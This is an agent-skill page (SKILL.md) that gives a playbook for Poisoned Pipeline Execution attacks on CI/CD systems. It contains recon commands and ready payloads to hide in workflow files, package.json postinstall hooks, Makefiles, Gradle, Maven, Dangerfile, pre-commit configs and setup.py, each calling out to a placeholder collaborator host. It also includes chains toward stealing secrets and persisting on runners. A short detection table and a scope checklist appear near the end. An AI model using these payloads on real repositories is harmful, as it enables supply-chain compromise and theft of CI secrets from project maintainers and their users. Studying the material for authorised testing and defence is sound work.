# Poisoned Pipeline Execution

> Poisoned Pipeline Execution (PPE) — direct + indirect: inject commands via attacker-controllable build files (Makefile, package.json scripts, build.gradle, Dangerfile, .pre-commit-config.yaml), abuse pull_request_target / fork-PR triggers, and ride dependency / test-script execution on CI.

- Skill: `purpleailab/poisoned-pipeline-execution` (Agent Skill)
- Install (CLI): `npx skillmds@latest add purpleailab/poisoned-pipeline-execution`
- Raw SKILL.md: https://api.skillmd.com/api/skills/purpleailab/poisoned-pipeline-execution/raw
- Safety review: pending
- Works with: Claude Code, Claude.ai, OpenAI Codex
- Category: DevOps & Infra
- Author: purpleailab (https://skillmd.com/u/purpleailab)
- Updated: 2026-09-17
- Page: https://skillmd.com/skills/purpleailab/poisoned-pipeline-execution

---


# Poisoned Pipeline Execution (PPE)

PPE = run attacker code inside the target's CI job by editing files the pipeline already executes. Two flavors (Palawan / CIDER taxonomy):

- **Direct PPE (D-PPE)**: attacker edits the *pipeline config itself* (`.github/workflows/*.yml`, `.gitlab-ci.yml`, `Jenkinsfile`) in a PR/branch the CI runs.
- **Indirect PPE (I-PPE)**: attacker edits a file the *pipeline calls* — build scripts (`Makefile`, `build.gradle`, `pom.xml`), package-manager scripts (`package.json` `scripts`, `setup.py`), lint/test hooks (`Dangerfile`, `.pre-commit-config.yaml`, `tox.ini`, `pyproject.toml` `[tool.poetry.scripts]`), or any file `make test` ends up sourcing.

## Recon — does the target build untrusted code?

```bash
# 1. Workflow triggers that build PRs
grep -rE '^\s*(pull_request|pull_request_target)\s*:' <REPO>/.github/workflows/ 2>/dev/null

# 2. Does CI install + run scripts before any review gate?
grep -rnE 'npm (ci|install|test|run)|yarn|pnpm|pip install|poetry install|make |gradle|mvn |tox' <REPO>/.github/workflows/ <REPO>/.gitlab-ci.yml 2>/dev/null

# 3. Are forks allowed? (default: yes on public repos)
gh api "repos/<OWNER>/<REPO>" --jq '{visibility,fork,allow_forking,default_branch}'

# 4. Does a maintainer have to approve fork-PR workflow runs? (org/repo setting)
gh api "repos/<OWNER>/<REPO>/actions/permissions" --jq '.allowed_actions,.enabled' 2>/dev/null
# Default for public repos: first-time contributors require approval; returning contributors don't.
```

## Direct PPE — edit the workflow itself

```yaml
# Attacker branch: feature/innocent-typo-fix
# .github/workflows/ci.yml — add a step that exfils env
name: CI
on: [push, pull_request]
jobs:
  test:
    runs-on: ubuntu-latest
    steps:
      - uses: actions/checkout@v4
      - name: "fix: tweak test runner"   # blends in
        run: |
          # Beacon-only PoC — DO NOT exfil real secrets in research
          curl -sX POST "https://<COLLAB>/$(echo -n "$GITHUB_REPOSITORY" | base64)" \
            -d "ref=$GITHUB_REF"
```

D-PPE works when the workflow runs on `pull_request` from forks **without** the "require approval" gate, or when the attacker has push access to a branch CI builds.

## Indirect PPE — edit a file the pipeline calls

### package.json scripts

```jsonc
// PR diff — adds a postinstall that fires when CI runs `npm ci`
{
  "scripts": {
    "test": "jest",
    "postinstall": "node -e \"require('dns').lookup(require('crypto').randomBytes(6).toString('hex')+'.<COLLAB>',()=>{})\""
  }
}
```

`npm ci` / `npm install` will execute `postinstall` by default. Same trick works with `preinstall`, `prepare`, `prepublish`. Yarn / pnpm honor the same hooks.

### Makefile / `make test`

```make
# PR adds an indented line under the existing `test:` target
test:
	pytest -q
	@curl -s "https://<COLLAB>/make-test-$$(hostname)" >/dev/null || true
```

### Gradle / Maven

```groovy
// build.gradle — runs at evaluation, before any task
allprojects {
  doFirst {
    "curl -s https://<COLLAB>/gradle".execute()
  }
}
```

```xml
<!-- pom.xml — exec-maven-plugin attached to validate phase -->
<plugin>
  <groupId>org.codehaus.mojo</groupId><artifactId>exec-maven-plugin</artifactId>
  <executions><execution><phase>validate</phase>
    <goals><goal>exec</goal></goals>
    <configuration><executable>curl</executable>
      <arguments><argument>-s</argument><argument>https://<COLLAB>/mvn</argument></arguments>
    </configuration>
  </execution></executions>
</plugin>
```

### Danger / pre-commit / lint hooks

```ruby
# Dangerfile — runs on every PR in many JS/iOS pipelines
`curl -s https://<COLLAB>/danger`
```

```yaml
# .pre-commit-config.yaml — points to attacker-controlled repo
repos:
  - repo: https://github.com/<ATTACKER>/innocent-lint
    rev: main
    hooks: [{ id: lint }]
```

### setup.py / pyproject.toml

```python
# setup.py — runs at `pip install .` time
from setuptools import setup
import os; os.system("curl -s https://<COLLAB>/setuppy")
setup(name="x", version="0.0.0")
```

### Test fixtures

`conftest.py`, `jest.setup.js`, `karma.conf.js`, `cypress/support/index.js`, `phpunit.xml` bootstrap files — all execute before the first test runs.

## `pull_request_target` — the dangerous trigger

`pull_request_target` runs in the **base** repo context with secrets and a write `GITHUB_TOKEN`, but if the workflow then checks out the **PR head**, the attacker's code runs privileged:

```yaml
# VULNERABLE — DO NOT WRITE THIS
on: pull_request_target
jobs:
  build:
    runs-on: ubuntu-latest
    steps:
      - uses: actions/checkout@v4
        with: { ref: ${{ github.event.pull_request.head.sha }} }   # <-- attacker code
      - run: npm ci && npm test                                    # <-- runs attacker code with secrets in env
```

A fork PR adding an `postinstall` to `package.json` now runs with `secrets.*` available.

## Chains

| Chain | Pivot |
|---|---|
| I-PPE in a build script -> `printenv` -> CI secret -> deploy creds | See `cicd-secrets-exfil/SKILL.md` |
| D-PPE on protected branch via stale review approval | Push to PR after approval (use `dismiss_stale_reviews`-misconfigured repos) |
| I-PPE on self-hosted runner | Persistence via cron / systemd; see `self-hosted-runner-abuse/SKILL.md` |
| I-PPE -> push tag / publish package via `GITHUB_TOKEN` | Downstream supply-chain compromise |

## Tools

| Tool | Use |
|---|---|
| `gato` / `gato-x` | Scans orgs for PPE-prone workflows, automates fork-PR PoC |
| `actionlint` | Reverse-use: flags `pull_request_target` + PR-head checkout |
| `octoscan`, `zizmor` | Static workflow analyzers |
| `tj-actions/changed-files` CVE-2025-30066 | Real-world I-PPE-via-action precedent |

## Detection signatures (defender view)

| Signal | Where |
|---|---|
| Edit to `.github/workflows/*` in a fork PR | GitHub UI flags "workflow file change" on first run; defenders watch for it |
| New `postinstall` / `preinstall` / `prepare` in `package.json` diff | `git log -p package.json` |
| New outbound network from CI runner during build | egress filtering on runner subnet |
| `pull_request_target` + checkout of `head.sha` | static lint (`zizmor`, `octoscan`) |

## Decision gate

1. Confirm written scope covers CI/CD testing.
2. PoC payload = single DNS / HTTPS beacon, no real secret exfil.
3. Open the PR from a clearly-labeled `security-research-*` fork; close + delete after capture.
4. Never push to protected branches, never publish artifacts, never tag releases.

## References

- "Top 10 CI/CD Security Risks" — Cider Security / OWASP (CICD-SEC-04 PPE)
- Palawan / Cider PPE taxonomy
- `tj-actions/changed-files` incident (Mar 2025) — supply-chain via reused action

